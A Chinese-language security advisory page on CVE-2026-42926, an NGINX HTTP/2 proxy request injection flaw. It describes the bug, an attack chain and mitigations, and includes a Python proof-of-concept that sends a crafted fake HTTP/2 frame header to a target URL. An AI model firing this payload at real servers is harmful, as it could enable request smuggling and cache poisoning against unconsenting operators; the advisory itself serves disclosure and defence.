IPBUF安全漏洞报告
English
CVE-2026-42926 CVSS 5.8 中危

CVE-2026-42926 NGINX HTTP/2代理请求注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-42926
漏洞类型
HTTP请求走私
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NGINX Open Source

相关标签

HTTP请求走私NGINXHTTP/2注入漏洞CVSS-5.8Proxy

漏洞概述

NGINX Open Source 在特定配置下存在安全漏洞,当其被配置为代理 HTTP/2 流量(即设置 proxy_http_version 为 2)并同时使用 proxy_set_body 指令时,攻击者可能利用该漏洞向上游对等点注入帧头和负载数据。此问题可能破坏代理与上游服务器之间的通信完整性,导致请求走私或缓存投毒等风险。已达到技术支持终止(EoTS)的软件版本不在评估范围内。

技术细节

该漏洞源于 NGINX 在处理 HTTP/2 代理请求时的边界处理逻辑缺陷。在 NGINX 配置中,`proxy_http_version 2` 指令强制代理使用 HTTP/2 协议与上游通信,而 `proxy_set_body` 允许管理员修改发送给上游的请求体。当这两者结合使用时,NGINX 未能正确地将用户输入的数据封装在安全的 HTTP/2 数据帧中,导致攻击者可以通过构造特制的恶意请求,在请求体中插入伪造的 HTTP/2 帧头(如长度、类型、流标识符等)。上游服务器在解析这些被污染的数据流时,可能会将注入的帧头误解析为新的控制帧或数据帧,从而导致请求走私、响应拆分或绕过上游服务器的安全检查。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标服务器使用 NGINX,并尝试探测其配置,确认是否启用了 HTTP/2 代理以及是否存在使用 proxy_set_body 的端点。
STEP 2
构造载荷
攻击者根据 HTTP/2 协议规范,构造包含恶意帧头字节序列的特制数据包。
STEP 3
发送请求
攻击者将包含恶意载荷的 HTTP 请求发送给 vulnerable NGINX 服务器。
STEP 4
注入利用
NGINX 服务器在处理请求时,由于漏洞存在,将载荷中的字节连同伪造的帧头转发给上游服务器。
STEP 5
执行攻击
上游服务器解析被注入的 HTTP/2 帧,导致请求走私、缓存污染或未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-42926 (NGINX HTTP/2 Proxy Request Injection) This script demonstrates sending a payload that might trigger the injection if the server is configured with 'proxy_http_version 2' and 'proxy_set_body'. Note: Actual exploitation depends on specific server configuration reflecting input. """ import httpx import sys def send_exploit(target_url): # Malicious payload designed to mimic HTTP/2 frame headers # if injected into the body stream upstream. # Example: A crafted byte sequence that could be interpreted as a HEADERS frame. # Format: Length (3 bytes) | Type (1 byte) | Flags (1 byte) | Stream ID (4 bytes) malicious_payload = b"\x00\x00\x10\x01\x04\x00\x00\x00\x01" + b"A" * 16 try: with httpx.Client(http2=True) as client: print(f"[*] Sending exploit payload to {target_url}") # Sending POST request with the malicious payload response = client.post(target_url, content=malicious_payload) print(f"[*] Status Code: {response.status_code}") print("[*] Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") print("[*] Response Body (first 200 bytes):") print(response.text[:200]) except httpx.ConnectError: print("[-] Connection failed. Target may be unreachable.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_url>") print("Example: python3 poc.py http://localhost:8080") sys.exit(1) url = sys.argv[1] send_exploit(url)

影响范围

NGINX Open Source (受支持的未修复版本,具体版本号请参考官方公告)

防御指南

临时缓解措施
作为临时缓解措施,建议管理员检查 NGINX 配置文件(nginx.conf),移除或注释掉 `proxy_http_version 2;` 指令,使代理回退到 HTTP/1.1 协议,或者在未确认安全的情况下禁用 `proxy_set_body` 功能。同时,应监控上游服务器的异常日志,以检测可能的利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表